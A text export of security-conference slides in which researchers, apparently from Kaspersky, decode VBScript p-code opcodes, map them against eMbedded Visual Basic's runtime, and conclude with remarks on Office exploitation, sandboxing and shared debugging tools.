    VBScript’s p-code !=Visual Basic’s p-code http://web.archive.org/web/20101127044116/http://vb-decompiler.com/pcode/opcodes.php?t=1 1159 instructions in Visual Basic VS 111 instructions in VBScript Format of instructions is different Visual Basic’s opcodes
  • 47.
    VBScript instructions Googling β€œVBScript”shows that there is no prior research on a subject However, it was possible to find two posts by Microsoft employees 2004 - https://blogs.msdn.microsoft.com/ericlippert/2004/04/19/runtime-typing-in-vbscript/ 1999 - https://groups.google.com/forum/#!topic/microsoft.public.inetserver.asp.general/xlCz5paTWxM
  • 48.
    VBScript instructions Googling β€œVBScript”shows that there is no prior research on a subject However, it was possible to find 2 post of Microsoft employees 2004 - https://blogs.msdn.microsoft.com/ericlippert/2004/04/19/runtime-typing-in-vbscript/ 1999 - https://groups.google.com/forum/#!topic/microsoft.public.inetserver.asp.general/xlCz5paTWxM 2004
  • 49.
    VBScript instructions Googling β€œVBScript”shows that there is no prior research on a subject However, it was possible to find 2 post of Microsoft employees 2004 - https://blogs.msdn.microsoft.com/ericlippert/2004/04/19/runtime-typing-in-vbscript/ 1999 - https://groups.google.com/forum/#!topic/microsoft.public.inetserver.asp.general/xlCz5paTWxM 2004 1999
  • 50.
    Decoding VBScript instructions Nowwe know 18 out of 111 instructions! 1999 OP_FnBind 0x55 OP_LocalAdr 0x19 OP_Bos1 0x03 OP_FixType 0x54 OP_NamedAdr 0x1D OP_EQ 0x42 OP_IntConst 0x0B OP_BitOr 0x3E OP_CallNmdAdr 0x28 OP_JccFalse 0x3C OP_CallMemVoid 0x31 OP_LocalSt 0x1A OP_Bos0 0x02 OP_Jmp 0x3A OP_FuncEnd 0x01 OP_Sub 0x49 OP_FnReturn 0x57 OP_Add 0x48
  • 51.
    Family Visual Basic Visual Basicfor Applications (VBA) Visual Basic Scripting Edition (VBScript) eMbedded Visual Basic (eVB)
  • 52.
    eMbedded Visual Basic(eVB) Windows CE Windows Mobile Based on VBScript IMG: https://www.amazon.com/ViewSonic-V35-Pocket-PC-Handheld/dp/B00006RSK5
  • 53.
    eMbedded Visual Basic(eVB) Download and unpack eMbedded Visual Basic (eVB) Runtime .cab Biggest file is 00pvbvbs.022 Lets load it in IDA Pro
  • 54.
    eMbedded Visual Basic(eVB) It’s a debug build!
  • 55.
  • 56.
    VBScript opcodes 101 instructionin eVB against 111 in VBScript
  • 57.
    Mapping of eVBinstructions to VBScript instructions eVB VBScript New instructions
  • 58.
  • 59.
    β€’ Microsoft Officeis a hot target for attackers and will remain so β€’ Attackers aim for the easiest targets and legacy features will be abused β€’ A sandbox is effective in the detection of zero-days (proven with a long list of CVE’s) Highlights about our sandbox: β€’ https://securelist.com/a-modern-hypervisor-as-a-basis-for-a-sandbox/81902/ β€’ https://www.kaspersky.com/enterprise-security/wiki-section/products/sandbox β€’ There is the possibility of more VBScript vulnerabilities exploited through Microsoft Office β€’ VBScript controls are blocked by default in Office 365 β€’ We shared our tools with the community to make the debugging of VBScript exploits easier Conclusions
  • 60.
  • 61.
    LET’S TALK? Boris Larin@oct0xor Vlad Stolyarov @vladhiewsha